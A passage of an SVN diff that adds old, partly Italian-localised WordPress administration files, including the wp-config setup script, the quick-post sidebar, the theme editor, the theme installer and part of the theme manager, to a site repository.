+	background:transparent url(images/fav-arrow-rtl.gif) no-repeat 10px -4px;
+}
+#utc-time, #local-time {
+	padding-left: 0;
+	padding-right: 25px;
+	font-family: Tahoma, Arial;
+}
+.icon32 {
+	float: right;
+	margin: 14px 0 0 6px;
+}
+.subtitle {
+	padding-left: 0;
+	padding-right: 25px;
+}
+
+ol {
+	list-style-type:decimal;
+	margin-left:0;
+	margin-right:2em;
+}
+
+
+/* TinyMCE
+=================================== */
+.clearlooks2 .mceTop .mceLeft {
+	width:100% !important;
+}
+/* ltr
+=================================== */
+#author-email, #author-url, #rss-url-1, #edit-slug-box, #post_name, #trackback_url, #metakeyinput, #post_password, #slug, #category_nicename, #link_url, #link_image, #rss_uri, #menu_order, #email, #newcomment_author_url, #pages-exclude, #template textarea, #user_login, #url, #pass1, #pass2, #aim, #yim, #jabber, #siteurl, #home, #admin_email, #gmt_offset, #default_post_edit_rows, #mailserver_url, #mailserver_login, #mailserver_pass, #mailserver_port, #ping_sites, #posts_per_page, #posts_per_rss, #blog_charset, #close_comments_days_old, #comments_per_page, #comment_max_links, #moderation_keys, #blacklist_keys, #thumbnail_size_w, #thumbnail_size_h, #medium_size_w, #medium_size_h, #large_size_w, #large_size_h, #permalink_structure, #category_base, #tag_base, #upload_path, #upload_url_path, #rules {
+	direction: ltr;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/setup-config.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/setup-config.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/setup-config.php	(revision 44)
@@ -0,0 +1,194 @@
+<?php
+/**
+ * Retrieves and creates the wp-config.php file.
+ *
+ * The permissions for the base directory must allow for writing files in order
+ * for the wp-config.php to be created using this page.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * We are installing.
+ *
+ * @package WordPress
+ */
+define('WP_INSTALLING', true);
+
+/**#@+
+ * These three defines are required to allow us to use require_wp_db() to load
+ * the database class while being wp-content/db.php aware.
+ * @ignore
+ */
+define('ABSPATH', dirname(dirname(__FILE__)).'/');
+define('WPINC', 'wp-includes');
+define('WP_CONTENT_DIR', ABSPATH . 'wp-content');
+/**#@-*/
+
+require_once(ABSPATH . WPINC . '/compat.php');
+require_once(ABSPATH . WPINC . '/functions.php');
+require_once(ABSPATH . WPINC . '/classes.php');
+
+if (!file_exists(ABSPATH . 'wp-config-sample.php'))
+	wp_die('Spiacente, mi serve un file wp-config-sample.php su cui lavorare. Per favore ricaricare questo file dalla installazione di WordPress.');
+
+$configFile = file(ABSPATH . 'wp-config-sample.php');
+
+if ( !is_writable(ABSPATH))
+	wp_die("Spiacente, non posso scrivere la directory. Occorre cambiare i permessi sulla directory di WordPress o creare il file wp-config.php manualmente.");
+
+// Check if wp-config.php has been created
+if (file_exists(ABSPATH . 'wp-config.php'))
+	wp_die("<p>The file 'wp-config.php' already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href='install.php'>installing now</a>.</p>");
+
+// Check if wp-config.php exists above the root directory but is not part of another install
+if (file_exists(ABSPATH . '../wp-config.php') && ! file_exists(ABSPATH . '../wp-settings.php'))
+	wp_die("<p>Il file 'wp-config.php' esiste già ad un livello superiore rispetto a quello dell'installazione di WordPress. Se si desidera azzerare uno qualsiasi degli elementi di configurazione di questo file, cancellarlo. &Egrave; anche possibile <a href='install.php'>provare ad installare ora</a>.</p>");
+
+if (isset($_GET['step']))
+	$step = $_GET['step'];
+else
+	$step = 0;
+
+/**
+ * Display setup wp-config.php file header.
+ *
+ * @ignore
+ * @since 2.3.0
+ * @package WordPress
+ * @subpackage Installer_WP_Config
+ */
+function display_header() {
+	header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>WordPress &rsaquo; Impostazione File di Configurazione</title>
+<link rel="stylesheet" href="css/install.css" type="text/css" />
+
+</head>
+<body>
+<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
+<?php
+}//end function display_header();
+
+switch($step) {
+	case 0:
+		display_header();
+?>
+
+<p>Benvenuti in WordPress. Prima di iniziare ci occorrono alcune informazioni sul database. Occorre conoscere i seguenti elementi prima di procedere.</p>
+<ol>
+	<li>Nome del database</li>
+	<li>Username del database</li>
+	<li>Password del database</li>
+	<li>Host del database</li>
+	<li>Prefisso tabella (se si desidera eseguire diverse istanze di WordPress con un solo database) </li>
+</ol>
+<p><strong>Se per qualsiasi ragione la creazione automatica del file non funzionasse non preoccuparsi. Tutto quello che si deve fare &egrave; immettere le informazioni sul database in un file di configurazione. &Egrave;possibile anche semplicemente aprire il file <code>wp-config-sample.php</code> con un editor di testo, immettere le informazioni e salvare il file come <code>wp-config.php</code>. </strong></p>
+<p>In ogni caso, queste informazioni vengono fornite dal proprio ISP. Se non si dispone di tali informazioni, allora si dovr&agrave; contattarlo prima di proseguire. Se si &egrave; pronti <a href="setup-config.php?step=1">iniziamo</a>! </p>
+
+<p class="step"><a href="setup-config.php?step=1" class="button">Iniziamo!</a></p>
+<?php
+	break;
+
+	case 1:
+		display_header();
+	?>
+<form method="post" action="setup-config.php?step=2">
+	<p>Di seguito si dovranno immettere i dettagli della connessione al database. Se non si &egrave; sicuri riguardo a questi dati, contattare il proprio fornitore di hosting.</p>
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="dbname">Nome del database</label></th>
+			<td><input name="dbname" id="dbname" type="text" size="25" value="wordpress" /></td>
+			<td>Il nome del database da usare per far funzionare WP. </td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="uname">Nome utente del database</label></th></th>
+			<td><input name="uname" id="uname" type="text" size="25" value="username" /></td>
+			<td>Il nome utente MySQL</td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="pwd">Password</label></th>
+			<td><input name="pwd" id="pwd" type="text" size="25" value="password" /></td>
+			<td>...e la password MySQL.</td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="dbhost">Host del database</label></th>
+			<td><input name="dbhost" id="dbhost" type="text" size="25" value="localhost" /></td>
+			<td>al 99% non si dovr&agrave; cambiare questa impostazione.</td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="prefix">Prefisso tabella</label></th>
+			<td><input name="prefix" id="prefix" type="text" id="prefix" value="wp_" size="25" /></td>
+			<td>Se si desidera eseguire pi&ugrave; istanze di WordPress con un singolo database, modificare questo valore.</td>
+		</tr>
+	</table>
+	<p class="step"><input name="submit" type="submit" value="Prosegui" class="button" /></p>
+</form>
+<?php
+	break;
+
+	case 2:
+	$dbname  = trim($_POST['dbname']);
+	$uname   = trim($_POST['uname']);
+	$passwrd = trim($_POST['pwd']);
+	$dbhost  = trim($_POST['dbhost']);
+	$prefix  = trim($_POST['prefix']);
+	if (empty($prefix)) $prefix = 'wp_';
+
+	// Test the db connection.
+	/**#@+
+	 * @ignore
+	 */
+	define('DB_NAME', $dbname);
+	define('DB_USER', $uname);
+	define('DB_PASSWORD', $passwrd);
+	define('DB_HOST', $dbhost);
+	/**#@-*/
+
+	// We'll fail here if the values are no good.
+	require_wp_db();
+	if ( !empty($wpdb->error) )
+		wp_die($wpdb->error->get_error_message());
+
+	$handle = fopen(ABSPATH . 'wp-config.php', 'w');
+
+	foreach ($configFile as $line_num => $line) {
+		switch (substr($line,0,16)) {
+			case "define('DB_NAME'":
+				fwrite($handle, str_replace("putyourdbnamehere", $dbname, $line));
+				break;
+			case "define('DB_USER'":
+				fwrite($handle, str_replace("'usernamehere'", "'$uname'", $line));
+				break;
+			case "define('DB_PASSW":
+				fwrite($handle, str_replace("'yourpasswordhere'", "'$passwrd'", $line));
+				break;
+			case "define('DB_HOST'":
+				fwrite($handle, str_replace("localhost", $dbhost, $line));
+				break;
+			case '$table_prefix  =':
+				fwrite($handle, str_replace('wp_', $prefix, $line));
+				break;
+			default:
+				fwrite($handle, $line);
+		}
+	}
+	fclose($handle);
+	chmod(ABSPATH . 'wp-config.php', 0666);
+
+	display_header();
+?>
+<p>Tutto a posto! Si &egrave; superata questa fase della installazione. Ora WordPress pu&ograve; comunicare con il database. Se si &egrave, pronti ora &egrave; il momento di <a href="install.php">eseguire la installazione!</a></p>
+
+<p class="step"><a href="install.php" class="button">Avvia installazione</a></p>
+<?php
+	break;
+}
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-admin/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/sidebar.php	(revision 44)
@@ -0,0 +1,128 @@
+<?php
+/**
+ * Quick way to create a WordPress Post.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * @var string
+ * @name $mode
+ */
+$mode = 'sidebar';
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( ! current_user_can('edit_posts') )
+	wp_die(__('Cheatin&#8217; uh?'));
+
+$post = get_default_post_to_edit();
+
+?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('blog_charset'); ?>" />
+<title><?php bloginfo('name') ?> &rsaquo; <?php _e('Sidebar'); ?></title>
+<style type="text/css" media="screen">
+body {
+	font-size: 0.9em;
+	margin: 0;
+	padding: 0;
+}
+form {
+	padding: 1%;
+}
+.tags-wrap p {
+	font-size: 0.75em;
+	margin-top: 0.4em;
+}
+.button-highlighted, #wphead, label {
+	font-weight: bold;
+}
+#post-title, #tags-input, #content {
+	width: 99%;
+	padding: 2px;
+}
+#wphead {
+	font-size: 1.4em;
+	background-color: #E4F2FD;
+	color: #555555;
+	padding: 0.2em 1%;
+}
+#wphead p {
+	margin: 3px;
+}
+.button {
+	font-family: "Lucida Grande", "Lucida Sans Unicode", Tahoma, Verdana, sans-serif;
+	padding: 3px 5px;
+	margin-right: 5px;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #80b5d0;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	cursor: pointer;
+	background-color: #e5e5e5;
+	color: #246;
+}
+.button:hover {
+	border-color: #535353;
+}
+.updated {
+	background-color: #FFFBCC;
+	border: 1px solid #E6DB55;
+	margin-bottom: 1em;
+	padding: 0 0.6em;
+}
+.updated p {
+	margin: 0.6em;
+}
+</style>
+</head>
+<body id="sidebar">
+<div id="wphead"><p><?php bloginfo('name') ?> &rsaquo; <?php _e('Sidebar'); ?></p></div>
+<form name="post" action="post.php" method="post">
+<div>
+<input type="hidden" name="action" value="post" />
+<input type="hidden" name="user_ID" value="<?php echo esc_attr($user_ID) ?>" />
+<input type="hidden" name="mode" value="sidebar" />
+<input type="hidden" name="ping_status" value="<?php echo esc_attr($post->ping_status); ?>" />
+<input type="hidden" name="comment_status" value="<?php echo esc_attr($post->comment_status); ?>" />
+<?php wp_nonce_field('add-post');
+
+if ( 'b' == $_GET['a'] )
+	echo '<div class="updated"><p>' . __('Post published.') . '</p></div>';
+elseif ( 'c' == $_GET['a'] )
+	echo '<div class="updated"><p>' . __('Post saved.') . '</p></div>';
+?>
+<p>
+<label for="post-title"><?php _e('Title:'); ?></label>
+<input type="text" name="post_title" id="post-title" size="20" tabindex="1" autocomplete="off" value="" />
+</p>
+
+<p>
+<label for="content"><?php _e('Post:'); ?></label>
+<textarea rows="8" cols="12" name="content" id="content" style="height:10em;line-height:1.4em;" tabindex="2"></textarea>
+</p>
+
+<div class="tags-wrap">
+<label for="tags-input"><?php _e('Tags:') ?></label>
+<input type="text" name="tags_input" id="tags-input" tabindex="3" value="" />
+<p><?php _e('Separate tags with commas'); ?></p>
+</div>
+
+<p>
+<input name="saveasdraft" type="submit" id="saveasdraft" tabindex="9" accesskey="s" class="button" value="<?php esc_attr_e('Save as Draft'); ?>" />
+<?php if ( current_user_can('publish_posts') ) : ?>
+<input name="publish" type="submit" id="publish" tabindex="6" accesskey="p" value="<?php esc_attr_e('Publish') ?>" class="button button-highlighted" />
+<?php endif; ?>
+</p>
+</div>
+</form>
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-admin/theme-editor.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/theme-editor.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/theme-editor.php	(revision 44)
@@ -0,0 +1,233 @@
+<?php
+/**
+ * Theme editor administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __("Edit Themes");
+$parent_file = 'themes.php';
+
+wp_reset_vars(array('action', 'redirect', 'profile', 'error', 'warning', 'a', 'file', 'theme'));
+
+wp_admin_css( 'theme-editor' );
+
+$themes = get_themes();
+
+if (empty($theme)) {
+	$theme = get_current_theme();
+} else {
+	$theme = stripslashes($theme);
+}
+
+if ( ! isset($themes[$theme]) )
+	wp_die(__('The requested theme does not exist.'));
+
+$allowed_files = array_merge($themes[$theme]['Stylesheet Files'], $themes[$theme]['Template Files']);
+
+if (empty($file)) {
+	$file = $allowed_files[0];
+}
+
+$file = validate_file_to_edit($file, $allowed_files);
+$real_file = get_real_file_to_edit($file);
+
+$file_show = basename( $file );
+
+switch($action) {
+
+case 'update':
+
+	check_admin_referer('edit-theme_' . $file . $theme);
+
+	if ( !current_user_can('edit_themes') )
+		wp_die('<p>'.__('You do not have sufficient permissions to edit templates for this blog.').'</p>');
+
+	$newcontent = stripslashes($_POST['newcontent']);
+	$theme = urlencode($theme);
+	if (is_writeable($real_file)) {
+		//is_writable() not always reliable, check return value. see comments @ http://uk.php.net/is_writable
+		$f = fopen($real_file, 'w+');
+		if ($f !== FALSE) {
+			fwrite($f, $newcontent);
+			fclose($f);
+			$location = "theme-editor.php?file=$file&theme=$theme&a=te";
+		} else {
+			$location = "theme-editor.php?file=$file&theme=$theme";
+		}
+	} else {
+		$location = "theme-editor.php?file=$file&theme=$theme";
+	}
+
+	$location = wp_kses_no_null($location);
+	$strip = array('%0d', '%0a', '%0D', '%0A');
+	$location = _deep_replace($strip, $location);
+	header("Location: $location");
+	exit();
+
+break;
+
+default:
+
+	if ( !current_user_can('edit_themes') )
+		wp_die('<p>'.__('You do not have sufficient permissions to edit themes for this blog.').'</p>');
+
+	require_once('admin-header.php');
+
+	update_recently_edited($file);
+
+	if ( !is_file($real_file) )
+		$error = 1;
+
+	if ( !$error && filesize($real_file) > 0 ) {
+		$f = fopen($real_file, 'r');
+		$content = fread($f, filesize($real_file));
+
+		if ( '.php' == substr( $real_file, strrpos( $real_file, '.' ) ) ) {
+			$functions = wp_doc_link_parse( $content );
+
+			$docs_select = '<select name="docs-list" id="docs-list">';
+			$docs_select .= '<option value="">' . esc_attr__( 'Function Name...' ) . '</option>';
+			foreach ( $functions as $function ) {
+				$docs_select .= '<option value="' . esc_attr( urlencode( $function ) ) . '">' . htmlspecialchars( $function ) . '()</option>';
+			}
+			$docs_select .= '</select>';
+		}
+
+		$content = htmlspecialchars( $content );
+		$codepress_lang = codepress_get_lang($real_file);
+	}
+
+	?>
+<?php if (isset($_GET['a'])) : ?>
+ <div id="message" class="updated fade"><p><?php _e('File edited successfully.') ?></p></div>
+<?php endif;
+
+$description = get_file_description($file);
+$desc_header = ( $description != $file_show ) ? "<strong>$description</strong> (%s)" : "%s";
+?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<div class="fileedit-sub">
+<div class="alignleft">
+<big><?php echo sprintf($desc_header, $file_show); ?></big>
+</div>
+<div class="alignright">
+	<form action="theme-editor.php" method="post">
+		<strong><label for="theme"><?php _e('Select theme to edit:'); ?> </label></strong>
+		<select name="theme" id="theme">
+<?php
+	foreach ($themes as $a_theme) {
+	$theme_name = $a_theme['Name'];
+	if ($theme_name == $theme) $selected = " selected='selected'";
+	else $selected = '';
+	$theme_name = esc_attr($theme_name);
+	echo "\n\t<option value=\"$theme_name\" $selected>$theme_name</option>";
+}
+?>
+		</select>
+		<input type="submit" name="Submit" value="<?php esc_attr_e('Select') ?>" class="button" />
+	</form>
+</div>
+<br class="clear" />
+</div>
+
+<div id="templateside">
+	<h3><?php _e("Theme Files"); ?></h3>
+
+<?php
+if ($allowed_files) :
+?>
+	<h4><?php _e('Templates'); ?></h4>
+	<ul>
+<?php
+	$template_mapping = array();
+	$template_dir = $themes[$theme]['Template Dir'];
+	foreach ( $themes[$theme]['Template Files'] as $template_file ) {
+		$description = trim( get_file_description($template_file) );
+		$template_show = basename($template_file);
+		$filedesc = ( $description != $template_file ) ? "$description <span class='nonessential'>($template_show)</span>" : "$description";
+		$filedesc = ( $template_file == $file ) ? "<span class='highlight'>$description <span class='nonessential'>($template_show)</span></span>" : $filedesc;
+
+		// If we have two files of the same name prefer the one in the Template Directory
+		// This means that we display the correct files for child themes which overload Templates as well as Styles
+		if( array_key_exists($description, $template_mapping ) ) {
+			if ( false !== strpos( $template_file, $template_dir ) )  {
+				$template_mapping[ $description ] = array( $template_file, $filedesc );
+			}
+		} else {
+			$template_mapping[ $description ] = array( $template_file, $filedesc );
+		}
+	}
+	ksort( $template_mapping );
+	while ( list( $template_sorted_key, list( $template_file, $filedesc ) ) = each( $template_mapping ) ) :
+	?>
+		<li><a href="theme-editor.php?file=<?php echo "$template_file"; ?>&amp;theme=<?php echo urlencode($theme) ?>"><?php echo $filedesc ?></a></li>
+<?php endwhile; ?>
+	</ul>
+	<h4><?php /* translators: Theme stylesheets in theme editor */ echo _x('Styles', 'Theme stylesheets in theme editor'); ?></h4>
+	<ul>
+<?php
+	$template_mapping = array();
+	foreach ( $themes[$theme]['Stylesheet Files'] as $style_file ) {
+		$description = trim( get_file_description($style_file) );
+		$style_show = basename($style_file);
+		$filedesc = ( $description != $style_file ) ? "$description <span class='nonessential'>($style_show)</span>" : "$description";
+		$filedesc = ( $style_file == $file ) ? "<span class='highlight'>$description <span class='nonessential'>($style_show)</span></span>" : $filedesc;
+		$template_mapping[ $description ] = array( $style_file, $filedesc );
+	}
+	ksort( $template_mapping );
+	while ( list( $template_sorted_key, list( $style_file, $filedesc ) ) = each( $template_mapping ) ) :
+		?>
+		<li><a href="theme-editor.php?file=<?php echo "$style_file"; ?>&amp;theme=<?php echo urlencode($theme) ?>"><?php echo $filedesc ?></a></li>
+<?php endwhile; ?>
+	</ul>
+<?php endif; ?>
+</div>
+
+<?php if (!$error) { ?>
+<form name="template" id="template" action="theme-editor.php" method="post">
+	<?php wp_nonce_field('edit-theme_' . $file . $theme) ?>
+		 <div><textarea cols="70" rows="25" name="newcontent" id="newcontent" tabindex="1" class="codepress <?php echo $codepress_lang ?>"><?php echo $content ?></textarea>
+		 <input type="hidden" name="action" value="update" />
+		 <input type="hidden" name="file" value="<?php echo esc_attr($file) ?>" />
+		 <input type="hidden" name="theme" value="<?php echo esc_attr($theme) ?>" />
+		 </div>
+	<?php if ( isset($functions ) && count($functions) ) { ?>
+		<div id="documentation">
+		<label for="docs-list"><?php _e('Documentation:') ?></label>
+		<?php echo $docs_select; ?>
+		<input type="button" class="button" value=" <?php esc_attr_e( 'Lookup' ); ?> " onclick="if ( '' != jQuery('#docs-list').val() ) { window.open( 'http://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&locale=<?php echo urlencode( get_locale() ) ?>&version=<?php echo urlencode( $wp_version ) ?>&redirect=true'); }" />
+		</div>
+	<?php } ?>
+
+		<div>
+<?php if ( is_writeable($real_file) ) : ?>
+			<p class="submit">
+<?php
+	echo "<input type='submit' name='submit' class='button-primary' value='" . esc_attr__('Update File') . "' tabindex='2' />";
+?>
+</p>
+<?php else : ?>
+<p><em><?php _e('You need to make this file writable before you can save your changes. See <a href="http://codex.wordpress.org/Changing_File_Permissions">the Codex</a> for more information.'); ?></em></p>
+<?php endif; ?>
+		</div>
+</form>
+<?php
+	} else {
+		echo '<div class="error"><p>' . __('Oops, no such file exists! Double check the name and try again, merci.') . '</p></div>';
+	}
+?>
+<br class="clear" />
+</div>
+<?php
+break;
+}
+
+include("admin-footer.php");
Index: /trunk/www.guidonia.net/wp/wp-admin/theme-install.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/theme-install.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/theme-install.php	(revision 44)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * Install theme administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( ! current_user_can('install_themes') )
+	wp_die(__('You do not have sufficient permissions to install themes on this blog.'));
+
+include(ABSPATH . 'wp-admin/includes/theme-install.php');
+
+$title = __('Install Themes');
+$parent_file = 'themes.php';
+
+wp_reset_vars( array('tab', 'paged') );
+wp_enqueue_style( 'theme-install' );
+wp_enqueue_script( 'theme-install' );
+
+add_thickbox();
+wp_enqueue_script( 'theme-preview' );
+
+//These are the tabs which are shown on the page,
+$tabs = array();
+$tabs['dashboard'] = __('Search');
+if ( 'search' == $tab )
+	$tabs['search']	= __('Search Results');
+$tabs['upload'] = __('Upload');
+$tabs['featured'] = __('Featured');
+//$tabs['popular']  = __('Popular');
+$tabs['new']      = __('Newest');
+$tabs['updated']  = __('Recently Updated');
+
+$nonmenu_tabs = array('theme-information'); //Valid actions to perform which do not have a Menu item.
+
+$tabs = apply_filters('install_themes_tabs', $tabs );
+$nonmenu_tabs = apply_filters('install_themes_nonmenu_tabs', $nonmenu_tabs);
+
+//If a non-valid menu tab has been selected, And its not a non-menu action.
+if( empty($tab) || ( ! isset($tabs[ $tab ]) && ! in_array($tab, (array)$nonmenu_tabs) ) ) {
+	$tab_actions = array_keys($tabs);
+	$tab = $tab_actions[0];
+}
+if( empty($paged) )
+	$paged = 1;
+
+$body_id = $tab;
+
+do_action('install_themes_pre_' . $tab); //Used to override the general interface, Eg, install or theme information.
+
+include('admin-header.php');
+?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+	<ul class="subsubsub">
+<?php
+$display_tabs = array();
+foreach ( (array)$tabs as $action => $text ) {
+	$sep = ( end($tabs) != $text ) ? ' | ' : '';
+	$class = ( $action == $tab ) ? ' class="current"' : '';
+	$href = admin_url('theme-install.php?tab='. $action);
+	echo "\t\t<li><a href='$href'$class>$text</a>$sep</li>\n";
+}
+?>
+	</ul>
+	<br class="clear" />
+	<?php do_action('install_themes_' . $tab, $paged); ?>
+</div>
+<?php
+include('admin-footer.php');
Index: /trunk/www.guidonia.net/wp/wp-admin/themes.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/themes.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/themes.php	(revision 44)
@@ -0,0 +1,299 @@
+<?php
+/**
+ * Themes administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( isset($_GET['action']) ) {
+	if ( 'activate' == $_GET['action'] ) {
+		check_admin_referer('switch-theme_' . $_GET['template']);
+		switch_theme($_GET['template'], $_GET['stylesheet']);
+		wp_redirect('themes.php?activated=true');
+		exit;
+	} else if ( 'delete' == $_GET['action'] ) {
+		check_admin_referer('delete-theme_' . $_GET['template']);
+		if ( !current_user_can('update_themes') )
+			wp_die( __( 'Cheatin&#8217; uh?' ) );
+		delete_theme($_GET['template']);
+		wp_redirect('themes.php?deleted=true');
+		exit;
+	}
+}
+
+$title = __('Manage Themes');
+$parent_file = 'themes.php';
+
+$help = '<p>' . __('Themes give your WordPress style. Once a theme is installed, you may preview it, activate it or deactivate it here.') . '</p>';
+if ( current_user_can('install_themes') ) {
+	$help .= '<p>' . sprintf(__('You can find additional themes for your site by using the new <a href="%1$s">Theme Browser/Installer</a> functionality or by browsing the <a href="http://wordpress.org/extend/themes/">WordPress Theme Directory</a> directly and installing manually.  To install a theme <em>manually</em>, <a href="%2$s">upload its ZIP archive with the new uploader</a> or copy its folder via FTP into your <code>wp-content/themes</code> directory.'), 'theme-install.php', 'theme-install.php?tab=upload' ) . '</p>';
+	$help .= '<p>' . __('Once a theme is uploaded, you should see it on this page.') . '</p>' ;
+}
+
+add_contextual_help('themes', $help);
+
+add_thickbox();
+wp_enqueue_script( 'theme-preview' );
+
+require_once('admin-header.php');
+?>
+
+<?php if ( ! validate_current_theme() ) : ?>
+<div id="message1" class="updated fade"><p><?php _e('The active theme is broken.  Reverting to the default theme.'); ?></p></div>
+<?php elseif ( isset($_GET['activated']) ) :
+		if ( isset($wp_registered_sidebars) && count( (array) $wp_registered_sidebars ) ) { ?>
+<div id="message2" class="updated fade"><p><?php printf(__('New theme activated. This theme supports widgets, please visit the <a href="%s">widgets settings page</a> to configure them.'), admin_url('widgets.php') ); ?></p></div><?php
+		} else { ?>
+<div id="message2" class="updated fade"><p><?php printf(__('New theme activated. <a href="%s">Visit site</a>'), get_bloginfo('url') . '/'); ?></p></div><?php
+		}
+	elseif ( isset($_GET['deleted']) ) : ?>
+<div id="message3" class="updated fade"><p><?php _e('Theme deleted.') ?></p></div>
+<?php endif; ?>
+
+<?php
+$themes = get_themes();
+$ct = current_theme_info();
+unset($themes[$ct->name]);
+
+uksort( $themes, "strnatcasecmp" );
+$theme_total = count( $themes );
+$per_page = 15;
+
+if ( isset( $_GET['pagenum'] ) )
+	$page = absint( $_GET['pagenum'] );
+
+if ( empty($page) )
+	$page = 1;
+
+$start = $offset = ( $page - 1 ) * $per_page;
+
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'pagenum', '%#%' ) . '#themenav',
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil($theme_total / $per_page),
+	'current' => $page
+));
+
+$themes = array_slice( $themes, $start, $per_page );
+
+/**
+ * Check if there is an update for a theme available.
+ *
+ * Will display link, if there is an update available.
+ *
+ * @since 2.7.0
+ *
+ * @param object $theme Theme data object.
+ * @return bool False if no valid info was passed.
+ */
+function theme_update_available( $theme ) {
+	static $themes_update;
+	if ( !isset($themes_update) )
+		$themes_update = get_transient('update_themes');
+
+	if ( is_object($theme) && isset($theme->stylesheet) )
+		$stylesheet = $theme->stylesheet;
+	elseif ( is_array($theme) && isset($theme['Stylesheet']) )
+		$stylesheet = $theme['Stylesheet'];
+	else
+		return false; //No valid info passed.
+
+	if ( isset($themes_update->response[ $stylesheet ]) ) {
+		$update = $themes_update->response[ $stylesheet ];
+		$theme_name = is_object($theme) ? $theme->name : (is_array($theme) ? $theme['Name'] : '');
+		$details_url = add_query_arg(array('TB_iframe' => 'true', 'width' => 1024, 'height' => 800), $update['url']); //Theme browser inside WP? replace this, Also, theme preview JS will override this on the available list.
+		$update_url = wp_nonce_url('update.php?action=upgrade-theme&amp;theme=' . urlencode($stylesheet), 'upgrade-theme_' . $stylesheet);
+		$update_onclick = 'onclick="if ( confirm(\'' . esc_js( __("Upgrading this theme will lose any customizations you have made.  'Cancel' to stop, 'OK' to upgrade.") ) . '\') ) {return true;}return false;"';
+
+		if ( ! current_user_can('update_themes') )
+			printf( '<p><strong>' . __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%1$s">View version %3$s Details</a>.') . '</strong></p>', $theme_name, $details_url, $update['new_version']);
+		else if ( empty($update->package) )
+			printf( '<p><strong>' . __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%1$s">View version %3$s Details</a> <em>automatic upgrade unavailable for this theme</em>.') . '</strong></p>', $theme_name, $details_url, $update['new_version']);
+		else
+			printf( '<p><strong>' . __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%1$s">View version %3$s Details</a> or <a href="%4$s" %5$s >upgrade automatically</a>.') . '</strong></p>', $theme_name, $details_url, $update['new_version'], $update_url, $update_onclick );
+	}
+}
+
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<h3><?php _e('Current Theme'); ?></h3>
+<div id="current-theme">
+<?php if ( $ct->screenshot ) : ?>
+<img src="<?php echo content_url($ct->stylesheet_dir . '/' . $ct->screenshot); ?>" alt="<?php _e('Current theme preview'); ?>" />
+<?php endif; ?>
+<h4><?php
+	/* translators: 1: theme title, 2: theme version, 3: theme author */
+	printf(__('%1$s %2$s by %3$s'), $ct->title, $ct->version, $ct->author) ; ?></h4>
+<p class="theme-description"><?php echo $ct->description; ?></p>
+<?php if ($ct->parent_theme) { ?>
+	<p><?php printf(__('The template files are located in <code>%2$s</code>.  The stylesheet files are located in <code>%3$s</code>.  <strong>%4$s</strong> uses templates from <strong>%5$s</strong>.  Changes made to the templates will affect both themes.'), $ct->title, $ct->template_dir, $ct->stylesheet_dir, $ct->title, $ct->parent_theme); ?></p>
+<?php } else { ?>
+	<p><?php printf(__('All of this theme&#8217;s files are located in <code>%2$s</code>.'), $ct->title, $ct->template_dir, $ct->stylesheet_dir); ?></p>
+<?php } ?>
+<?php if ( $ct->tags ) : ?>
+<p><?php _e('Tags:'); ?> <?php echo join(', ', $ct->tags); ?></p>
+<?php endif; ?>
+<?php theme_update_available($ct); ?>
+
+</div>
+
+<div class="clear"></div>
+<h3><?php _e('Available Themes'); ?></h3>
+<div class="clear"></div>
+
